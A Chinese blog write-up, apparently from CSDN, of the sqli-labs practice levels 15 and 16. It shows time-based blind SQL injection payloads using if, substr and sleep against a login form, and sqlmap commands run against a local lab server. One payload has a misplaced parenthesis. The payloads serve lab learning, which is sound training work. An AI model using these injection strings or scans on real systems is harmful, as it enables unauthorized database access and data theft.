sqli-labs-master第15、16关

前言:在第九关我们已经了解过GET方式的盲注,我们今天一起探讨下POST方式的盲注。
第15关
http://192.168.89.134/sqli-labs-master/Less-15/
在这里插入图片描述
我们在尝试了,联合查询和报错注入方式后无果,我们初步判断为盲注
我们看下源代码:
在这里插入图片描述
猜想正确
我们采用延迟盲注(时间注入主要用 if(表达式1,表达式2,表达式3) 函数与sleep() 函数配合使用。if函数原理是当表达式1为True时,返回值为表达式二,否则返回表达式三。)
admin’ and if(length(database()=8),sleep(5),1) #
这句话意思就是 如果条件成立,就停止5秒
在这里插入图片描述
看这延迟5秒中,说明猜想数据库8位正确
我们继续猜解库名
admin’ and if(substr(database(),1,1)=‘s’,sleep(5),1)–+
admin’ and if(substr(database(),2,1)=‘e’,sleep(5),1)–+
admin’ and if(substr(database(),3,1)=‘c’,sleep(5),1)–+
admin’ and if(substr(database(),4,1)=‘u’,sleep(5),1)–+
admin’ and if(substr(database(),5,1)=‘r’,sleep(5),1)–+
admin’ and if(substr(database(),6,1)=‘i’,sleep(5),1)–+
admin’ and if(substr(database(),7,1)=‘t’,sleep(5),1)–+
admin’ and if(substr(database(),8,1)=‘y’,sleep(5),1)–+
像这样继续猜解不断尝试
如果想进一步得到用户、密码信息,继续不断猜解…
反正盲注很麻烦并且浪费时间!

第十六关
把admin’换成admin’’)其他的步骤都一样

我们用sqlmap去验证
在这里有一点需要和大家强调的
我们用昨天的命令:
sqlmap -r 15.txt
在这里插入图片描述
说没扫描出来,我查阅了一些资料sqlmap默认的注入能力是level=1,我们改成3
sqlmap -r 15.txt --level=3
在这里插入图片描述
提示我们有基于时间的盲注还有版本信息
接下来都一样,我省略一些步骤,直接看结果
在这里插入图片描述
这次真的好慢,可能是因为我们级别调成3

总结:经过了POST方式盲注基本和GET方式相同,换汤不换药。

本文章为自己搭建实验环境做过的,参考过一些资料,希望对你有帮助

### SQLi-Labs项目概述 SQLi-Labs是一个用于学习和实践SQL注入技术的平台,旨在帮助安全研究人员理解和掌握各种类型的SQL注入漏洞及其利用方法。通过一系列由易到难的任务挑战,参与者可以逐步提升自己的技能水平。 ### 于Less-15的具体分析 对于Less-15而言,目标是在给定条件下成功执行时间盲注攻击。当用户名字段接收到特定构造的数据时,服务器端会根据数据库名称第二个字符是否为'e'来决定响应延迟的时间长度。如果条件成立,则触发`sleep(1)`函数使HTTP请求处理过程暂停一秒;反之则立即返回结果[^1]。 ```sql uname=1' OR IF(SUBSTRING((SELECT database()), 2, 1)='e', sleep(1), 1) -- ``` 这段代码展示了如何构建恶意输入字符串以实现上述逻辑。需要注意的是,在实际环境中应当避免任何形式的安全测试除非获得了合法授权。 ### 判断注入点的方法 为了确认是否存在可被利用的SQL注入漏洞以及确定正确的语法结构,可以通过尝试提交特殊字符并观察应用程序的行为来进行初步探测。例如,向应用发送包含单引号或双引号在内的数据包,依据其反馈信息判断SQL查询语句使用的分隔符类型及可能存在的错误位置[^3]。 ### 进一步探索其他卡 除了当前讨论的内容外,还有更多有趣的题目等待着大家去解锁。比如即将介绍的Less-16将会带来新的知识点和技术细节上的变化,值得期待[^2]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值